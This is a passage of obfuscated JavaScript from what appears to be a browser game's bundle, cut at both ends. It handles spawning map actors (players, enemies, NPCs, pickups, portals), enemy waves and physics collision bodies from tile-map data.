(_0x2b7bd7['type']) { case 'player': { this['validatePlayerConfig'](_0x2b7bd7); const _0x92213e = _0x2b7bd7['spawnDirection'], _0x27a309 = _0x2b7bd7['exitDirection']; return _0x18ccc7['GAMEPLAY_ACTOR_MAP']['player']({ ..._0x36a0ef, 'scene': _0x36a0ef['scene'], ..._0x2b7bd7, 'spawnDirection': _0x92213e, 'exitDirection': _0x27a309 }); } case 'enemy': { const _0x3ac1d2 = this['pickRandomEnemyConfigPath'](_0x2b7bd7['enemyConfigPath'], this['gameContext']); _0x2b7bd7['enemyConfigPath'] = _0x3ac1d2, this['validateEnemyConfig'](_0x2b7bd7); const _0x2e566d = { ...this['getEnemyConfig'](_0x2b7bd7['enemyConfigPath']), 'noOwnLoot': _0x2b7bd7['noOwnLoot'] }, _0x3b98da = { ..._0x2e566d['movementConfig'] }, _0x2aa1f8 = { ..._0x3b98da['config'] }; _0x2aa1f8['stationary'] = _0x2b7bd7['stationary']; const _0x2aca7d = _0x2b7bd7['allowFallFromEdgeInStates']?.['split'](','); return _0x2aa1f8['allowFallFromEdgeInStates'] = _0x2aca7d, _0x2e566d['movementConfig'] = _0x3b98da, _0x3b98da['config'] = _0x2aa1f8, _0x18ccc7['GAMEPLAY_ACTOR_MAP']['enemy']({ ..._0x36a0ef, 'scene': _0x36a0ef['scene'], 'enemyConfig': _0x2e566d, 'initialState': _0x2b7bd7['startsWandering'] ? 'WANDERING' : 'SLEEPING', ..._0x2b7bd7, 'enemyConfigPath': _0x3ac1d2 }); } case 'boss': return this['validateEnemyConfig'](_0x2b7bd7), _0x18ccc7['GAMEPLAY_ACTOR_MAP']['boss']({ ..._0x36a0ef, 'scene': _0x36a0ef['scene'], 'enemyConfig': this['getEnemyConfig'](_0x2b7bd7['enemyConfigPath']), ..._0x2b7bd7 }); case 'light': return this['validateLightConfig'](_0x2b7bd7), _0x18ccc7['GAMEPLAY_ACTOR_MAP']['mapLight']({ ..._0x36a0ef, 'scene': _0x36a0ef['scene'], ..._0x2b7bd7 }); case 'map_utility': return _0x18ccc7['GAMEPLAY_ACTOR_MAP']['mapUtility']({ ..._0x36a0ef, 'scene': _0x36a0ef['scene'], ..._0x2b7bd7 }); case 'map_object': return this['validateMapObjectConfig'](_0x2b7bd7), _0x18ccc7['GAMEPLAY_ACTOR_MAP']['mapObject']({ ..._0x36a0ef, 'scene': _0x36a0ef['scene'], ..._0x2b7bd7, 'mapObjectConfig': this['getMapObjectConfig'](_0x2b7bd7['objectConfigPath']), 'mapObjectBodyConfig': _0x34f7a1 }); case 'portal': return this['validatePortalConfig'](_0x2b7bd7), _0x18ccc7['GAMEPLAY_ACTOR_MAP']['portal']({ ..._0x36a0ef, 'scene': _0x36a0ef['scene'], 'portalObjectConfig': this['getMapObjectConfig']('portal/portal'), ..._0x2b7bd7 }); case 'spawnzone': return this['validateSpawnzoneConfig'](_0x2b7bd7), _0x18ccc7['GAMEPLAY_ACTOR_MAP']['spawnzone']({ ..._0x36a0ef, 'scene': _0x36a0ef['scene'], ..._0x2b7bd7 }); case 'jump_pad': { this['validateJumppadConfig'](_0x2b7bd7); const _0x3fa276 = { 'type': 'JUMPPAD', 'degAngle': _0x2b7bd7['degAngle'], 'eligibleActorTags': _0x2b7bd7['eligibleActorTags'], 'force': _0x2b7bd7['force'], 'horizontalMovementLockDurationMS': _0x2b7bd7['horizontalMovementLockDurationMS'] }; return _0x18ccc7['GAMEPLAY_ACTOR_MAP']['jumppad']({ ..._0x36a0ef, 'scene': _0x36a0ef['scene'], 'jumppadRenderConfig': this['getMapObjectConfig']('jumppad/jumppad'), 'jumppadConfig': _0x3fa276, ..._0x2b7bd7 }); } case 'pickup': { this['validatePickupConfig'](_0x2b7bd7); const _0x18a3d4 = this['getPickupConfig'](_0x2b7bd7['pickupConfigPath']); return _0x18ccc7['GAMEPLAY_ACTOR_MAP']['pickup']({ ..._0x36a0ef, ..._0x2b7bd7, 'pickupConfig': _0x18a3d4 }); } case 'pickup_spawner': { this['validatePickupSpawnerConfig'](_0x2b7bd7); const _0x6de47a = _0x2b7bd7; return _0x18ccc7['GAMEPLAY_ACTOR_MAP']['pickupSpawner']({ ..._0x36a0ef, ..._0x2b7bd7, ..._0x6de47a, 'bodyConfig': _0x34f7a1 }); } case 'gate': { this['validateGateConfig'](_0x2b7bd7); const _0x3a7067 = this['getMapObjectConfig'](_0x2b7bd7['gateConfigPath']); return _0x18ccc7['GAMEPLAY_ACTOR_MAP']['gate']({ ..._0x36a0ef, 'scene': _0x36a0ef['scene'], 'gateBeamRenderConfig': _0x3a7067['gateBeamRenderConfig'], 'gateConfig': { ..._0x2b7bd7 }, 'gateBodyConfig': _0x34f7a1, ..._0x2b7bd7 }); } case 'area_sensor': return _0x18ccc7['GAMEPLAY_ACTOR_MAP']['areaSensor']({ ..._0x36a0ef, 'scene': _0x36a0ef['scene'], 'areaSensorBodyConfig': _0x34f7a1, ..._0x2b7bd7 }); case 'text': { const _0x24e0a8 = _0xae16b1['text']; return _0x18ccc7['GAMEPLAY_ACTOR_MAP']['textMapActor']({ ..._0x36a0ef, 'scene': _0x36a0ef['scene'], 'textConfig': _0x24e0a8, 'textAreaConfig': _0x34f7a1, ..._0x2b7bd7 }); } case 'npc': { this['validateNpcConfig'](_0x2b7bd7); const _0x19b8e2 = this['gameContext']['getNpcConfig'](_0x2b7bd7['npcConfigPath']), _0x2fb517 = _0x2b7bd7['dialogueConfigPaths']['split'](',')['map'](_0x4558b3 => _0x4558b3['trim']()); return _0x18ccc7['GAMEPLAY_ACTOR_MAP']['npc']({ ..._0x36a0ef, ..._0x2b7bd7, 'npcConfig': _0x19b8e2, 'dialogueConfigPaths': _0x2fb517 }); } case 'spawn_point': { const _0x15c249 = _0x2b7bd7['spawnPointTags']['split'](',')['map'](_0x1167b6 => _0x1167b6['trim']()); return _0x18ccc7['GAMEPLAY_ACTOR_MAP']['spawnPoint']({ ..._0x36a0ef, 'scene': _0x36a0ef['scene'], 'spawnPointTags': _0x15c249 }); } default: throw new Error('Unknown\x20actor\x20type:\x20' + _0x2b7bd7['type'] + '.\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Check\x20in\x20map\x20editor\x20if\x20the\x20object\x20has\x20\x22type\x22\x20property\x20set\x20and\x20it\x20is\x20of\x20correct\x20type.'); } } ['getEnemyConfig'](_0x174121) { return this['gameContext']['getEnemyConfig'](_0x174121); } ['getPickupConfig'](_0x905e1a) { return this['gameContext']['getPickupConfig'](_0x905e1a); } ['getMapObjectConfig'](_0x35e7c1) { return this['gameContext']['getMapObjectConfig'](_0x35e7c1); } ['validateLightConfig'](_0x5ee681) { if (!_0x5ee681) throw new _0x536c20['InvalidArgumentError']('No\x20Light\x20config\x20was\x20provided\x20for\x20a\x20map\x20light\x20object'); if ('object' != typeof _0x5ee681) throw new _0x536c20['InvalidArgumentError']('Light\x20config\x20must\x20be\x20an\x20object,\x20got\x20' + typeof _0x5ee681); if (!('radius' in _0x5ee681)) throw new _0x536c20['InvalidArgumentError']('Light\x20config\x20must\x20have\x20a\x20radius\x20property'); if (!('color' in _0x5ee681)) throw new _0x536c20['InvalidArgumentError']('Light\x20config\x20must\x20have\x20a\x20color\x20property'); if (!('intensity' in _0x5ee681)) throw new _0x536c20['InvalidArgumentError']('Light\x20config\x20must\x20have\x20an\x20intensity\x20property'); } ['validateEnemyConfig'](_0x35041b) { if (!_0x35041b) throw new _0x536c20['InvalidArgumentError']('No\x20Light\x20config\x20was\x20provided\x20for\x20a\x20map\x20light\x20object'); if ('object' != typeof _0x35041b) throw new _0x536c20['InvalidArgumentError']('Enemy\x20config\x20must\x20be\x20an\x20object,\x20got\x20' + typeof _0x35041b); if (!('enemyConfigPath' in _0x35041b)) throw new _0x536c20['InvalidArgumentError']('Enemy\x20config\x20must\x20have\x20a\x20enemyConfigPath\x20property'); if ('string' != typeof _0x35041b['enemyConfigPath']) throw new _0x536c20['InvalidArgumentError']('Enemy\x20enemyConfigPath\x20must\x20be\x20a\x20string'); if (!this['getEnemyConfig'](_0x35041b['enemyConfigPath'])) throw new _0x536c20['InvalidArgumentError']('Unknown\x20enemy\x20enemyConfigPath:\x20' + _0x35041b['enemyConfigPath']); } ['validatePortalConfig'](_0x123627) { } ['validateSpawnzoneConfig'](_0x4670d3) { } ['validateJumppadConfig'](_0x1305eb) { } ['validatePickupConfig'](_0x38c335) { } ['validatePickupSpawnerConfig'](_0x1cb4ee) { } ['validateGateConfig'](_0x50f7e3) { } ['validateMapObjectConfig'](_0xa88f27) { if (!_0xa88f27) return; if ('object' != typeof _0xa88f27) throw new _0x536c20['InvalidArgumentError']('Map\x20Object\x20config\x20must\x20be\x20an\x20object,\x20got\x20' + typeof _0xa88f27); if (!('objectConfigPath' in _0xa88f27)) throw new _0x536c20['InvalidArgumentError']('Map\x20Object\x20config\x20must\x20have\x20a\x20objectConfigPath\x20property'); if ('string' != typeof _0xa88f27['objectConfigPath']) throw new _0x536c20['InvalidArgumentError']('Map\x20Object\x20object\x20config\x20must\x20be\x20a\x20string'); if (!this['getMapObjectConfig'](_0xa88f27['objectConfigPath'])) throw new _0x536c20['InvalidArgumentError']('Unknown\x20Map\x20Object\x20object\x20config:\x20' + _0xa88f27['objectConfigPath']); } ['validateNpcConfig'](_0x2a290d) { if (_0x2a290d) { if ('object' != typeof _0x2a290d) throw new _0x536c20['InvalidArgumentError']('Npc\x20config\x20must\x20be\x20an\x20object,\x20got\x20' + typeof _0x2a290d); if (!('npcConfigPath' in _0x2a290d)) throw new _0x536c20['InvalidArgumentError']('Npc\x20config\x20must\x20have\x20a\x20npcConfigPath\x20property'); if ('string' != typeof _0x2a290d['npcConfigPath']) throw new _0x536c20['InvalidArgumentError']('Npc\x20npcConfigPath\x20must\x20be\x20a\x20string'); } } ['validatePlayerConfig'](_0x4c2090) { if (!_0x4c2090) return; const _0x56511c = Object['values'](_0x272965['EPlayerAppearanceMethod']), _0x287294 = Object['values'](_0x640c7['EDirections']); if ('object' != typeof _0x4c2090) throw new _0x536c20['InvalidArgumentError']('Player\x20Actor\x20config\x20must\x20be\x20an\x20object,\x20got\x20' + typeof _0x4c2090); if (!('appearanceMethod' in _0x4c2090)) throw new _0x536c20['InvalidArgumentError']('Player\x20Actor\x20config\x20must\x20have\x20an\x20appearanceMethod\x20property'); if (!('appearanceDurationMS' in _0x4c2090)) throw new _0x536c20['InvalidArgumentError']('Player\x20Actor\x20config\x20must\x20have\x20an\x20appearanceDurationMS\x20property'); if (!('disappearanceMethod' in _0x4c2090)) throw new _0x536c20['InvalidArgumentError']('Player\x20Actor\x20config\x20must\x20have\x20an\x20disappearanceMethod\x20property'); if (!('disappearanceDurationMS' in _0x4c2090)) throw new _0x536c20['InvalidArgumentError']('Player\x20Actor\x20config\x20must\x20have\x20an\x20disappearanceDurationMS\x20property'); if (!('spawnDirection' in _0x4c2090)) throw new _0x536c20['InvalidArgumentError']('Player\x20Actor\x20config\x20must\x20have\x20an\x20spawnDirection\x20property'); if (!('exitDirection' in _0x4c2090)) throw new _0x536c20['InvalidArgumentError']('Player\x20Actor\x20config\x20must\x20have\x20an\x20exitDirection\x20property'); if (!_0x56511c['includes'](_0x4c2090['appearanceMethod'])) throw new _0x536c20['InvalidArgumentError']('Unknown\x20Player\x20appearanceMethod:\x20' + _0x4c2090['appearanceMethod']); if (!_0x56511c['includes'](_0x4c2090['disappearanceMethod'])) throw new _0x536c20['InvalidArgumentError']('Unknown\x20Player\x20disappearanceMethod:\x20' + _0x4c2090['disappearanceMethod']); if (!Number['isInteger'](_0x4c2090['appearanceDurationMS'])) throw new _0x536c20['InvalidArgumentError']('Player\x20appearanceDurationMS\x20must\x20be\x20an\x20integer,\x20got:\x20' + _0x4c2090['appearanceDurationMS']); if (!Number['isInteger'](_0x4c2090['disappearanceDurationMS'])) throw new _0x536c20['InvalidArgumentError']('Player\x20disappearanceDurationMS\x20must\x20be\x20an\x20integer,\x20got:\x20' + _0x4c2090['disappearanceDurationMS']); if (!_0x287294['includes'](_0x4c2090['spawnDirection'])) throw new _0x536c20['InvalidArgumentError']('Unknown\x20Player\x20initialDirection:\x20' + _0x4c2090['spawnDirection']); if (!_0x287294['includes'](_0x4c2090['exitDirection'])) throw new _0x536c20['InvalidArgumentError']('Unknown\x20Player\x20exitDirection:\x20' + _0x4c2090['exitDirection']); } ['pickRandomEnemyConfigPath'](_0x19fa05, _0x59c27c) { const _0x4043bb = _0x19fa05['split'](','); return 0x1 === _0x4043bb['length'] ? _0x4043bb[0x0] : _0x59c27c['rngProvider']['getRandomElement'](_0x32e175['EProviderContext']['MAIN'], _0x4043bb); } } _0x3fc2e2['MapActorsComponent'] = _0x40b5d3; }, 0x403: (_0x29b3af, _0x56066e) => { 'use strict'; Object['defineProperty'](_0x56066e, '__esModule', { 'value': !0x0 }), _0x56066e['MAP_ACTOR_TILE_SIZE_PX'] = _0x56066e['mapActorsComponentState'] = void 0x0, _0x56066e['mapActorsComponentState'] = { 'currentWaveIndex': 0x1, 'lastChosenSpawnPointId': null }, _0x56066e['MAP_ACTOR_TILE_SIZE_PX'] = 0x60; }, 0x2344: (_0x29ac99, _0x26c326, _0x5aeb13) => { 'use strict'; Object['defineProperty'](_0x26c326, '__esModule', { 'value': !0x0 }), _0x26c326['MapActorsSpawnController'] = void 0x0; const _0x263cd8 = _0x5aeb13(0x1520), _0x3dcd2f = _0x5aeb13(0x1ec0), _0x15cebb = _0x5aeb13(0x836), _0x5c1916 = _0x5aeb13(0x221b); class _0x2c124c extends _0x263cd8['ComponentController']{ ['delayedSpawnCallbacks'] = {}; constructor(_0x480e70) { super(_0x480e70); } ['init'](_0x3aeef4) { this['createActorBatch'](_0x3aeef4), this['messageBus']['subscribe'](this, 'triggerSpawnEvent', _0x624215 => { this['createActorBatch'](_0x3aeef4, _0x624215); }), this['gameMessageBus']['subscribe'](this, 'playerDead', () => this['cancelDelayedSpawns']()), this['gameMessageBus']['subscribe'](this, 'mainObjectiveFinished', () => this['cancelDelayedSpawns']()); } ['createActorBatch'](_0x496aeb, _0x4b7945) { const _0x429ef8 = this['config']['tileMap'], _0x35ba58 = _0x429ef8['objects']['reverse']()['filter'](_0x482df8 => _0x482df8['name']['startsWith'](this['config']['actorLayerPrefix']))?.['flatMap'](_0x2746ac => _0x2746ac['objects']) ?? [], _0x2f92b2 = []; _0x35ba58['filter'](_0x12ffd4 => (0x0, _0x3dcd2f['extractCustomProperties'])(_0x12ffd4)['spawnEventName'] === _0x4b7945)['forEach'](_0x109d14 => { _0x2f92b2['push'](_0x109d14); }), this['setupCreationOfActors'](_0x2f92b2, _0x496aeb); } ['setupCreationOfActors'](_0xa8833b, _0x9edba8) { _0xa8833b['forEach'](_0xfab00e => { const _0x2642e1 = this['extractActorProperties'](_0xfab00e), _0x46302a = this['gameContext']['idProvider']['get'](_0x5c1916['EProviderContext']['MAIN']), _0xfadb51 = () => { const _0x281a52 = this['createActorBasedOnProperties'](_0xfab00e, _0x9edba8, _0x2642e1); this['actor']['registerActor'](_0x281a52), delete this['delayedSpawnCallbacks'][_0x46302a]; }; if (_0x2642e1['spawnAfterTimeSeconds']) { const _0x5f0b31 = 0x3e8 * _0x2642e1['spawnAfterTimeSeconds'], _0x4b735d = this['gameContext']['timeProvider']['delayAction'](_0xfadb51, _0x5f0b31); this['delayedSpawnCallbacks'][_0x46302a] = _0x4b735d; } else _0xfadb51(); }); } ['extractActorProperties'](_0x3cc618) { return { ...this['extractTileProperties'](_0x3cc618), ...(0x0, _0x3dcd2f['extractCustomProperties'])(_0x3cc618) }; } ['createActorBasedOnProperties'](_0x31aeb9, _0x23f7cb, _0x2de8c7) { return _0x31aeb9 = this['maybeUseSpawnpoint'](_0x31aeb9, _0x2de8c7), _0x2de8c7['spawnChargeTimeSeconds'] ? this['component']['createDelayedSpawnActor'](_0x31aeb9, _0x23f7cb, _0x2de8c7, { 'delayTimeMS': 0x3e8 * _0x2de8c7['spawnChargeTimeSeconds'], 'spawnChargeExplosionPath': _0x2de8c7['spawnChargeExplosionPath'], 'spawnFinishExplosionPath': _0x2de8c7['spawnFinishExplosionPath'] }) : this['component']['createObjectActor'](_0x31aeb9, _0x23f7cb, _0x2de8c7); } ['extractTileProperties'](_0x4d661a) { const _0x58a0b9 = this['config']['tileMap'], _0x1a49b6 = _0x4d661a['gid']; if (!_0x1a49b6) return { 'type': _0x4d661a['type'] }; const _0x528b63 = _0x58a0b9['tilesets']['find'](_0x371fa4 => _0x1a49b6 >= _0x371fa4['firstgid'] && _0x1a49b6 < _0x371fa4['firstgid'] + _0x371fa4['total']); if (!_0x528b63) throw new Error('MapActorsComponent:\x20no\x20tileset\x20found\x20for\x20map\x20actor.\x20Check\x20if\x20the\x20tileset\x20is\x20embedded\x20in\x20the\x20map.\x20See\x20previous\x20error\x20for\x20details'); const _0x26b74e = _0x1a49b6 - _0x528b63['firstgid']; return _0x528b63['tileProperties'][_0x26b74e]; } ['cancelDelayedSpawns']() { Object['values'](this['delayedSpawnCallbacks'])['forEach'](_0x387610 => this['gameContext']['timeProvider']['cancelDelayedAction'](_0x387610)), this['delayedSpawnCallbacks'] = {}; } ['maybeUseSpawnpoint'](_0x38dd9d, _0x3c44bd) { if (!_0x3c44bd['spawnPointTags'] || 0x0 === _0x3c44bd['spawnPointTags']['length'] || 'spawn_point' === _0x3c44bd['type']) return _0x38dd9d; const _0x1b4065 = _0x3c44bd['spawnPointTags']['split'](',')['map'](_0x5bdc42 => _0x5bdc42['trim']()), _0x50d8c7 = _0x3c44bd['spawnPointTagsOmitted']?.['split'](',')['map'](_0xca56b6 => _0xca56b6['trim']()) ?? [], _0x1ad2c7 = this['store']['get']('lastChosenSpawnPointId'), _0x43b4b1 = (0x0, _0x15cebb['pickSpawnPoint'])({ 'tags': _0x1b4065, 'omittedTags': _0x50d8c7, 'lastChosenSpawnPointId': _0x1ad2c7, 'gameContext': this['config']['gameContext'] }), _0x535956 = _0x43b4b1?.['getFromStore']('renderPosition'), _0x529c18 = _0x43b4b1?.['id']; return this['store']['update']('lastChosenSpawnPointId', '' + _0x529c18), _0x38dd9d['x'] = _0x535956?.['x'] ?? _0x38dd9d['x'], _0x38dd9d['y'] = _0x535956?.['y'] ?? _0x38dd9d['y'], _0x38dd9d; } } _0x26c326['MapActorsSpawnController'] = _0x2c124c; }, 0x2200: (_0x202195, _0xa545d4, _0x179065) => { 'use strict'; Object['defineProperty'](_0xa545d4, '__esModule', { 'value': !0x0 }), _0xa545d4['MapActorsWaveController'] = void 0x0; const _0x478991 = _0x179065(0x1520), _0x382b6e = _0x179065(0x1ec0), _0x5c9eb7 = _0x179065(0x1832), _0x196568 = 'wave'; class _0x1c7061 extends _0x478991['ComponentController']{ ['delayedActions'] = [];['waveActorMap'] = new Map(); constructor(_0x70b947) { super(_0x70b947); } ['init']() { this['store']['update']('currentWaveIndex', -0x1), this['setupWaveActorMap'](), 0x0 !== this['waveActorMap']['size'] && (this['sceneMessageBus']['subscribe'](this, 'actorDestroyed', _0x1ac668 => { this['maybeSubtractActorFromWave'](_0x1ac668), this['maybeSpawnNextWave'](_0x1ac668); }), this['sceneMessageBus']['subscribe'](this, 'areaSensorWaveMessage', _0x5e2341 => { this['maybeSubtractActorFromWave'](_0x5e2341), this['maybeSpawnNextWave'](_0x5e2341); }), this['gameMessageBus']['subscribe'](this, 'playerDead', () => this['clearRemainingWaves']()), this['gameMessageBus']['subscribe'](this, 'mainObjectiveFinished', () => this['clearRemainingWaves']()), this['maybeSpawnFirstWave'](), this['registerObjective']()); } ['clearRemainingWaves']() { this['sceneMessageBus']['unsubscribeByOwner'](this), this['delayedActions']['forEach'](_0x284275 => this['gameContext']['timeProvider']['cancelDelayedAction'](_0x284275)), this['delayedActions'] = [], this['waveActorMap']['clear'](); } ['setupWaveActorMap']() { const _0x4e8233 = this['config']['tileMap'], _0x2f1e33 = _0x4e8233['objects']['filter'](_0x30dde8 => _0x30dde8['name']['startsWith'](this['config']['actorLayerPrefix']))?.['flatMap'](_0x36244a => _0x36244a['objects']) ?? []; _0x2f1e33['forEach'](_0xd39445 => { const _0x1ff85c = this['extractActorProperties'](_0xd39445); if (!_0x1ff85c['blocksNextWave']) return; const _0x459157 = this['getActorSpawnWaveIndex'](_0x1ff85c['spawnEventName']); void 0x0 !== _0x459157 && (this['maybeCreateWaveInfo'](_0x459157), this['waveActorMap']['get'](_0x459157)['blockingActorsLeftInWave']++); }); } ['maybeCreateWaveInfo'](_0x17e831) { this['waveActorMap']['has'](_0x17e831) || this['waveActorMap']['set'](_0x17e831, { 'blockingActorsLeftInWave': 0x0 }); } ['maybeSubtractActorFromWave'](_0x19c034) { const _0x172f86 = _0x19c034['getConfig'](); if (!_0x172f86['blocksNextWave']) return; const _0x3282f3 = this['getActorSpawnWaveIndex'](_0x172f86['spawnEventName']); void 0x0 !== _0x3282f3 && this['waveActorMap']['get'](_0x3282f3)['blockingActorsLeftInWave']--; } ['extractActorProperties'](_0xed0bcb) { return { ...this['extractTileProperties'](_0xed0bcb), ...(0x0, _0x382b6e['extractCustomProperties'])(_0xed0bcb) }; } ['maybeSpawnFirstWave']() { const _0x585dbe = !this['waveActorMap']['has'](-0x1) || 0x0 === this['waveActorMap']['get'](-0x1)?.['blockingActorsLeftInWave'], _0x39fabc = this['waveActorMap']['has'](0x0); if (!_0x585dbe || !_0x39fabc) return; const _0x4d6272 = this['gameContext']['timeProvider']['delayAction'](() => { this['messageBus']['publish']('triggerSpawnEvent', _0x196568 + '0'), this['gameMessageBus']['publish']('requestText', { 'text': 'WAVE\x201', 'textAreaName': 'objectiveText', 'durationMS': 0x7d0 }), this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'promptWave', 'parameters': [{ 'name': 'Parameter\x201', 'value': 0x1 }] } }), this['delayedActions'] = this['delayedActions']['filter'](_0x2e236f => _0x2e236f !== _0x4d6272), this['store']['update']('currentWaveIndex', 0x0); }, 0x0); this['delayedActions']['push'](_0x4d6272); } ['maybeSpawnNextWave'](_0xc94383) { if (![_0x5c9eb7['EActorTag']['ENEMY'], _0x5c9eb7['EActorTag']['MAP_AREA_SENSOR']]['some'](_0x2401c4 => _0xc94383['getTags']()['includes'](_0x2401c4))) return; const _0x3a57fd = this['store']['get']('currentWaveIndex'), _0x25ea8d = 0x0 === this['waveActorMap']['get'](_0x3a57fd)?.['blockingActorsLeftInWave'], _0x436f11 = this['waveActorMap']['has'](_0x3a57fd + 0x1); if (_0x25ea8d && (this['gameMessageBus']['publish']('progressObjective', { 'name': 'completeAllWaves', 'completionPoints': 0x1 }), this['sceneMessageBus']['publish']('wave' + _0x3a57fd + 'Completed')), !_0x25ea8d || !_0x436f11) return; const _0x987f69 = this['gameContext']['timeProvider']['delayAction'](() => { const _0x52d4ed = _0x3a57fd + 0x1; this['store']['update']('currentWaveIndex', _0x52d4ed); const _0x3c552e = '' + _0x196568 + _0x52d4ed; this['messageBus']['publish']('triggerSpawnEvent', _0x3c552e), this['sceneMessageBus']['publish'](_0x3c552e); const _0x5e64cb = !this['waveActorMap']['has'](_0x52d4ed + 0x1), _0x358148 = _0x5e64cb ? 'FINAL\x20WAVE' : 'WAVE\x20' + (_0x52d4ed + 0x1); this['gameMessageBus']['publish']('requestText', { 'text': _0x358148, 'textAreaName': 'objectiveText', 'durationMS': 0x7d0 }); const _0x93e26b = _0x5e64cb ? { 'name': 'promptFinalWave' } : { 'name': 'promptWave', 'parameters': [{ 'name': 'Parameter\x201', 'value': _0x52d4ed + 0x1 }] }; this['gameMessageBus']['publish']('requestSound', { 'config': _0x93e26b }), this['delayedActions'] = this['delayedActions']['filter'](_0x32a7b4 => _0x32a7b4 !== _0x987f69); }, 0x5dc); this['delayedActions']['push'](_0x987f69); } ['extractTileProperties'](_0xf6d340) { const _0x1b311c = this['config']['tileMap'], _0x5c7e84 = _0xf6d340['gid']; if (!_0x5c7e84) return { 'type': _0xf6d340['type'] }; const _0x233844 = _0x1b311c['tilesets']['find'](_0x1845fc => _0x5c7e84 >= _0x1845fc['firstgid'] && _0x5c7e84 < _0x1845fc['firstgid'] + _0x1845fc['total']); if (!_0x233844) throw new Error('MapActorsComponent:\x20no\x20tileset\x20found\x20for\x20map\x20actor.\x20Check\x20if\x20the\x20tileset\x20is\x20embedded\x20in\x20the\x20map.\x20See\x20previous\x20error\x20for\x20details'); const _0x254fad = _0x5c7e84 - _0x233844['firstgid']; return _0x233844['tileProperties'][_0x254fad]; } ['registerObjective']() { this['gameMessageBus']['publish']('registerObjective', { 'name': 'completeAllWaves', 'objective': { 'objectiveCompleteMessage': 'AREA\x20CLEAR', 'completionPointsToCompleteObjective': this['waveActorMap']['size'], 'initialObjectiveCompletionPoints': 0x0, 'currentCompletionPoints': 0x0, 'showOnObjectiveList': !0x1, 'isPrimaryObjective': !0x0, 'objectiveComplete': !0x1, 'objectiveDescriptionMessage': 'Clear\x20all\x20waves' } }); } ['getActorSpawnWaveIndex'](_0x5bc0b7) { const _0x5869cf = _0x5bc0b7 ? _0x5bc0b7['replace'](_0x196568, '') : void 0x0; if (void 0x0 === _0x5869cf) return -0x1; const _0x2e623b = parseInt(_0x5869cf); if (isNaN(_0x2e623b)) return; return void 0x0 !== _0x5bc0b7 && (void 0x0 === _0x5bc0b7 || void 0x0 !== _0x2e623b) ? _0x2e623b : void 0x0; } } _0xa545d4['MapActorsWaveController'] = _0x1c7061; }, 0xcd3: function (_0x4a8dee, _0x3ed092, _0x4a5bb8) { 'use strict'; var _0x5c3f90 = this && this['__importDefault'] || function (_0xb9c2d7) { return _0xb9c2d7 && _0xb9c2d7['__esModule'] ? _0xb9c2d7 : { 'default': _0xb9c2d7 }; }; Object['defineProperty'](_0x3ed092, '__esModule', { 'value': !0x0 }), _0x3ed092['MapBodiesComponent'] = void 0x0; const _0x3b91ec = _0x5c3f90(_0x4a5bb8(0x9a8)), _0x1348a0 = _0x4a5bb8(0x2414), _0x482ace = _0x4a5bb8(0x498), _0x4c6279 = _0x4a5bb8(0x1ec0), _0x20330b = _0x4a5bb8(0xb35), _0x4db3f7 = _0x4a5bb8(0x221b), _0x4527a6 = _0x20330b['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] << 0x10 | _0x20330b['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'] | _0x20330b['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'] | _0x20330b['PhysicsConfig']['COLLISION_GROUPS']['CHUNK'] | _0x20330b['PhysicsConfig']['COLLISION_GROUPS']['ENEMY_PROJECTILE'] | _0x20330b['PhysicsConfig']['COLLISION_GROUPS']['PLAYER_PROJECTILE'] | _0x20330b['PhysicsConfig']['COLLISION_GROUPS']['PICKUP']; class _0x2eeb21 extends _0x1348a0['ActorComponent']{ ['world'];['bodies'] = {}; constructor(_0xf56495) { super(_0xf56495), this['config']['isPhysicsComponent'] = !0x0, this['world'] = _0xf56495['world']; } ['init']() { this['addBodies'](this['createBodies'](this['config'])), this['gameMessageBus']['publish']('mapInfoReady', { 'tileMap': this['config']['tileMap'], 'mapConfig': this['config']['mapConfig'], 'rawMapJson': this['config']['rawMapJson'] }); } ['enableCollisions'](_0x1a3491) { const _0x37c57b = this['bodies'][_0x1a3491]; if (_0x37c57b) for (let _0x5af4ab = 0x0; _0x5af4ab < _0x37c57b['numColliders'](); _0x5af4ab++) { const _0x49942d = _0x37c57b['collider'](_0x5af4ab); if (!_0x49942d) return; _0x49942d['setCollisionGroups'](_0x4527a6); } } ['disableCollisions'](_0x1246d8) { const _0x5edca5 = this['bodies'][_0x1246d8]; if (_0x5edca5) for (let _0x588576 = 0x0; _0x588576 < _0x5edca5['numColliders'](); _0x588576++) { const _0x54c023 = _0x5edca5['collider'](_0x588576); if (!_0x54c023) return; _0x54c023['setCollisionGroups'](0x0); } } ['createBodies'](_0x5cdadb) { const _0x1bfca8 = [], _0xd354b = _0x5cdadb['rawMapJson']['layers']['find'](_0x33c2d9 => _0x33c2d9['name'] === _0x5cdadb['collisionLayerName']); return _0x5cdadb['tileMap']['objects']['find'](_0x386d7f => _0x386d7f['name'] === _0x5cdadb['collisionLayerName'])?.['objects']['forEach'](_0x1a5736 => { const _0x1a61ac = _0x3b91ec['default']['RigidBodyDesc']['fixed'](), _0x450712 = _0xd354b['objects']['find'](_0x12275f => _0x12275f['id'] === _0x1a5736['id']); let _0x296a5d; if (_0x1a5736['rectangle']) _0x296a5d = (0x0, _0x482ace['createRectangleCollider'])(_0x1a5736); else { if (0x3 !== (_0x1a5736['polygon']?.['length'] || 0x0)) throw new Error('Unsupported\x20GROUND\x20object\x20shape.\x0aThis\x20probably\x20means\x20that\x20either\x20an\x20actor\x20or\x20ground\x20layer\x20object\x20were\x20placed\x20on\x20the\x20Collision\x20Layer.\x0a' + JSON['stringify'](_0x1a5736)); _0x296a5d = (0x0, _0x482ace['createTriangleCollider'])(_0x1a5736); } _0x296a5d['setCollisionGroups'](_0x20330b['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] << 0x10 | _0x20330b['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'] | _0x20330b['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'] | _0x20330b['PhysicsConfig']['COLLISION_GROUPS']['CHUNK'] | _0x20330b['PhysicsConfig']['COLLISION_GROUPS']['ENEMY_PROJECTILE'] | _0x20330b['PhysicsConfig']['COLLISION_GROUPS']['PLAYER_PROJECTILE'] | _0x20330b['PhysicsConfig']['COLLISION_GROUPS']['PICKUP']); const _0x3dcbff = { 'x': (_0x1a5736['x'] + _0x1a5736['width'] / 0x2) / _0x20330b['PhysicsConfig']['TILE_SIZE'], 'y': (_0x1a5736['y'] + _0x1a5736['height'] / 0x2) / 